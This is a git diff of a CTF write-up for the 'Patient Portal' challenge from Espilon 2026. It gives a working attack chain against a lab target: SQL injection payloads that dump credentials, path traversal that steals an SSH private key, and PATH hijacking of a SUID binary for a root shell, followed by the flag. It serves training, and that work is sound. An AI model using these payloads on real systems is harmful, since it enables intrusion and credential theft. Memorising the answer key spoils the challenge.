write-up: Misc/Patient_Portal/README.md

This commit is contained in:
Eun0us 2026-03-26 17:33:44 +00:00
parent 1391916d7f
commit 51d62e21ae

View File

@ -1,42 +1,81 @@
# Patient Portal — Solution # Patient Portal
## Overview | Field | Value |
|-------|-------|
Multi-stage challenge: SQLi → Admin Panel → Path Traversal → SSH Access → SUID Privesc → Root | Category | Misc |
| Difficulty | Medium-Hard |
**Flag:** `ESPILON{r00t_0f_s41nt3_m1k4}` | Points | 500 |
| Author | Eun0us |
| CTF | Espilon 2026 |
--- ---
## Stage 1: SQL Injection ## Description
The `/search` endpoint is vulnerable to UNION-based SQL injection. The WIRED-MED network at Clinique Sainte-Mika runs a patient portal for staff.
Intelligence suggests the system was hastily deployed by contractor M. Eiri.
### Enumerate columns (6 columns) Gain full control of the machine.
**Ports:**
- 8080: Web Portal (HTTP)
- 2222: SSH
Format: **ESPILON{flag}**
---
## TL;DR
SQL injection on the `/search` endpoint to dump credentials and the SSH passphrase. Log in
as admin, exploit path traversal on the report download endpoint to steal the SSH private key.
SSH in as `webadmin`. Find a SUID binary that calls `logger` with a relative path. Hijack it
via PATH injection to spawn a root shell and read the flag.
---
## Tools
| Tool | Purpose |
|------|---------|
| Browser / `curl` | SQL injection, admin login, path traversal |
| `hashcat` / CrackStation | MD5 crack for admin password |
| `ssh` | Login as webadmin |
| `bash` | PATH injection privilege escalation |
---
## Solution
### Stage 1 — SQL Injection
The `/search?q=` endpoint is vulnerable to UNION-based injection with 6 columns.
**Enumerate columns:**
``` ```
/search?q=' UNION SELECT 1,2,3,4,5,6-- /search?q=' UNION SELECT 1,2,3,4,5,6--
``` ```
### Dump table names **Discover tables:**
``` ```
/search?q=' UNION SELECT 1,name,3,4,5,6 FROM sqlite_master WHERE type='table'-- /search?q=' UNION SELECT 1,name,3,4,5,6 FROM sqlite_master WHERE type='table'--
``` ```
Tables found: `patients`, `users`, `system_config` Tables: `patients`, `users`, `system_config`
### Dump users table **Dump users:**
``` ```
/search?q=' UNION SELECT 1,username,password_hash,role,5,6 FROM users-- /search?q=' UNION SELECT 1,username,password_hash,role,5,6 FROM users--
``` ```
Results: Results:
- `admin` : `e0b7e413c064de43c6c1ca40a8c175a1` (MD5 of `SainteMika2026`) - `admin` : MD5 hash `e0b7e413c064de43c6c1ca40a8c175a1`
- `nurse01` : (irrelevant hash) - `nurse01` : (irrelevant)
### Dump system_config table **Dump system_config:**
``` ```
/search?q=' UNION SELECT 1,key,value,3,4,5 FROM system_config-- /search?q=' UNION SELECT 1,key,value,3,4,5 FROM system_config--
@ -44,64 +83,67 @@ Results:
Key finding: `ssh_passphrase = wired-med-013` Key finding: `ssh_passphrase = wired-med-013`
### Crack the admin password > 📸 `[screenshot: SQLi response showing the admin hash and ssh_passphrase rows]`
**Crack the admin password:**
```bash ```bash
echo -n "SainteMika2026" | md5sum echo -n "SainteMika2026" | md5sum
# e0b7e413c064de43c6c1ca40a8c175a1 # e0b7e413c064de43c6c1ca40a8c175a1
``` ```
Or use CrackStation / hashcat / john. Password: `SainteMika2026`
--- ---
## Stage 2: Admin Access ### Stage 2 — Admin Access
Log in at `/login`:
Login at `/login` with:
- Username: `admin` - Username: `admin`
- Password: `SainteMika2026` - Password: `SainteMika2026`
The admin panel shows: The admin panel reveals: SSH port 2222, user `webadmin`.
- Report download links
- System info: SSH on port 2222, user `webadmin` > 📸 `[screenshot: admin panel after login showing report links and system info]`
--- ---
## Stage 3: Path Traversal ### Stage 3 — Path Traversal
The report download endpoint `/admin/reports?file=` is vulnerable to path traversal. The `/admin/reports?file=` endpoint is vulnerable to path traversal.
### Read /etc/passwd **Confirm user exists:**
``` ```
/admin/reports?file=../../../etc/passwd /admin/reports?file=../../../etc/passwd
``` ```
Confirms user `webadmin` exists. **Extract the SSH private key:**
### Extract SSH private key
``` ```
/admin/reports?file=../../../home/webadmin/.ssh/id_rsa /admin/reports?file=../../../home/webadmin/.ssh/id_rsa
``` ```
Save the key to a file locally. Save the key to `id_rsa` locally.
> 📸 `[screenshot: path traversal response returning the id_rsa private key]`
--- ---
## Stage 4: SSH Access ### Stage 4 — SSH Access
```bash ```bash
chmod 600 id_rsa chmod 600 id_rsa
ssh -i id_rsa -p 2222 webadmin@<HOST> ssh -i id_rsa -p 2222 webadmin@<HOST>
# Passphrase: wired-med-013 (from Stage 1 system_config table) # Passphrase: wired-med-013 (from system_config)
``` ```
--- ---
## Stage 5: Privilege Escalation ### Stage 5 — Privilege Escalation
### Find SUID binaries **Find SUID binaries:**
```bash ```bash
find / -perm -4000 -type f 2>/dev/null find / -perm -4000 -type f 2>/dev/null
@ -109,15 +151,18 @@ find / -perm -4000 -type f 2>/dev/null
Found: `/opt/navi-monitor/vital-check` (SUID root) Found: `/opt/navi-monitor/vital-check` (SUID root)
### Analyze the binary **Inspect the binary:**
```bash ```bash
strings /opt/navi-monitor/vital-check strings /opt/navi-monitor/vital-check | grep logger
``` ```
The binary calls `system("logger -t vital-check 'check complete'")` using a **relative path** for `logger`. The binary calls `system("logger -t vital-check 'check complete'")` using a
**relative path** for `logger`.
### PATH injection > 📸 `[screenshot: strings output confirming the relative logger call]`
**Exploit via PATH hijacking:**
```bash ```bash
echo '#!/bin/bash' > /tmp/logger echo '#!/bin/bash' > /tmp/logger
@ -127,11 +172,18 @@ export PATH=/tmp:$PATH
/opt/navi-monitor/vital-check /opt/navi-monitor/vital-check
``` ```
This spawns a root shell (`bash -p` preserves the SUID euid). `bash -p` preserves the SUID effective UID, spawning a root shell.
### Get the flag **Read the flag:**
```bash ```bash
cat /root/root.txt cat /root/root.txt
# ESPILON{r00t_0f_s41nt3_m1k4}
``` ```
> 📸 `[screenshot: root shell reading /root/root.txt with the flag]`
---
## Flag
`ESPILON{r00t_0f_s41nt3_m1k4}`